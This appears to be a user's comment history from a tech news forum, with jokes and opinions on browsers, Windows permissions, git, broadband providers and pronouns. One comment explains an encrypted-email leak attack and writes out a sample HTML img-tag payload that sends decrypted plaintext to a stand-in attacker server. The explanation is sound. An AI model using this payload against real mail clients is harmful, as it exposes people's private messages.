Posts by Havin_it

Re: Are you sure it's not the US?

Actually, You'll Never Wa*k Alone is pretty apposite for the intolerable predicament lockdown has put a lot of us in.

Re: pro-what?

>If people kept calling you by the wrong pronouns

Here's the thing: You and Brandon 2 might have different ideas about what the "right" pronouns are for him/her/xim/etc.

What unsettles me about this issue is that people are staking a claim on a language feature whose historic function has been to convey information about their inherent characteristics, and wishing to make it instead convey information about their personal preferences.

I say preferences because, as I understand it, the pronouns that one wishes to use are entirely free-choice: the fact a person wants to go by "xe" does not map to anyone else's reasons for picking it.

As such, that person is obliging others to show deference to them in an entirely arbitrary manner; to convey recognition of characteristics that are not even defined except by them. To fail to do so, by dodging the issue with indeterminate pronouns or simply avoiding pronouns, is deemed abusive.

I recognise that we're in this mess due to gendered pronouns ever having been a thing in the first place, which in hindsight was a rubbish idea: how much simpler things would be if we did not expect pronouns to tell us anything about the subject, and I'd wholeheartedly endorse a campaign to eradicate them now if we could, but we are where we are.

I honestly feel that, apart from being senselessly coercive in respect of the above, this movement is self-harming in that it seeks to curtail others' ability to signal that they do not care about the subject's sex, gender or other identifications. Surely, in the world we strive for, 99% of the time such things will simply not be relevant?

Re: Didn't they do one that you could project on to a wall, as a demo?

Kick the projector

Re: Clippy

The LO equivalent, under development deep in the TDF skunkworks, is called Stapley. When you let Stapley "help" you, you won't be able to undo the changes it makes, because it can't possibly have come out differently to what you wanted, right? Stapley knows best.

A couple of years after Stapley is unleashed, a motivated bedroom-coder will release a plugin called Staple-remover-y, which obliterates anything Stapley did that actually _did_ align with what you wanted, but still leaves your pages warped and slightly torn.

In the meantime, the user community will get used to a workaround which, had anyone the inclination to give it a name, would probably be called Reprint-the-whole-thing-and-just-use-a-paperclippy.

Re: "Firefox add-ons, also known as extensions"

Nope to your nope (though nope to the quote too).

What you call "extensions" are plugins (e.g. Flash, Java, DRM modules etc). What you call "add-ons" are extensions, apps written in JavaScript targeting the WebExtensions API. These are a sub-type of add-on, the others being themes, search-engines and language-packs.

Re: So, the real question is now ..

Maybe he got Ron Rivest in a dark room with a $5 pipe wrench?

Rubbish. The article explains quite adequately the (very simple) reasoning: Edgium sends your data to Microsoft, not to Google. That data is, nowadays, the only compelling reason for being in the browser business (not counting those Mozilla loons who do it for fun).

And the investment required to put your own UI skin on someone else's engine is piss-all compared to maintaining your own engine. This move probably let them shed a few developer salaries.

Re: There is a reason the UK government prefer rope for hanging themselves

For some reason I read that as "I'd pay to see that panto."

"He's behind you!"

"Good!"

Re: Venn Diagram Please

I bailed from Pipex when Tiscali got it, that was never going to go well. To... Demon! Who proceeded to be borged by THUS -> C&W -> Vodafone. The Demon branding was upheld for a while and only finally binned a couple of years ago. Voda have generally stayed out of my way, so I've stayed put. In the way of these things, though, I expect I'll be subscribed to Disney Broadband before long :/

Re: CSV compatibility

It really takes some next-level skillz to get CSV handling wrong. A format whose title is longer than its BN form (probably, haven't checked, don't write in).

Excel 2K had a better easter egg, tho'.

dude you just burned through this sites yearly allowance of capitals and quote marks for the year, wtf

Re: Not a good look here.

If you're on a multi-user machine, ensuring "your" stuff is insulated by the correct file permissions by default is valuable: I tried making a "personal" folder under C:\ (which last I looked is world-writeable by default - WTF?!) but ensuring the permissions were set to propagate properly was a screaming nightmare. Windows permissions editing ... shudder.

I stopped using [user]\Documents when ransomware became a thing, as this would likely be a default target. The weird symlinking shenanigans to which Documents and its ilk are subject make them problematic for doing backups as well.

As for AppData, I've never grokked the philosophical distinction between Local/LocalLow/Roaming, and it's pretty clear app devs don't either. I never know which one I'll find an app's settings in, let alone why. Some even use more than one of them(?)

At least the FOSS apps can be relied upon to ignore all of them and create a nice predictable [user]\.[appname] folder :)

Re: I blame the source code management...

As I recall, the main target of Linus's anger at the time was Andrew Tridgell, for coming out with the reverse-engineered BK client that provoked BK's owner to withdraw the free-beer client license for kernel devs. If git was named for any one person at that time it was probably Tridge.

However, the very swift appearance of git in the wake of BK's move did make me wonder whether Linus had already been working towards dumping BK for some time, having tacitly acknowledged the complaints from many around him about the risks of adopting it in the first place.

OI! OUT!!

There are still limits, for heaven's sake.

Re: re. 'candour '

I think we all did, Frank. They did kind of telegraph it with the whole italic thing.

Shouldn't it be "Newercastle" then?

Re: snowflake world a.k.a. SFW

Prefixing that comment with TL;DR was classic btw ;)

Re: Wuh?

Someone (possibly here yesterday) explained it thus: The attacker sends a crafted message with three MIME parts to it:

Part 1 (HTML)

<img src="http://badguyserver.cock/readmyplaintext.php?plaintext=

Part 2 (PGP / S/MIME)

[Previously-intercepted encrypted message]

Part 2 (HTML)

"/>

The silly mail client then glues all three into a single HTML part for display, and if it's REALLY silly it also goes right ahead and fetches the image, which passes the plaintext to $badguyserver in the URL (or as many characters thereof as the system allows for a URL string).

Hope I have that right; for some reason I'm loath to grace the vanity vuln-site with a click.

Re: "Upgrading users should be able to ignore the viewer as before."

My phone's data connection goes through the cabinet as well? Damn. I should try to get them to route mine through the cabinet near my mum's place, I always get better speeds there.

And if the problem's in the cabinet, how much help is the Windows manual going to be?

CoffeeScript is already a thing, IIRC.

Re: Making DNS communication more secure

You get a notification in Firefox whenever a page attempts to play audio, telling you to install pulseaudio. How did you miss that?

Re: There has to be a better way to ensure children can't access porn.

>Then you're starving the revolutionaries

And here I thought I'd heard every euphemism for wanking already...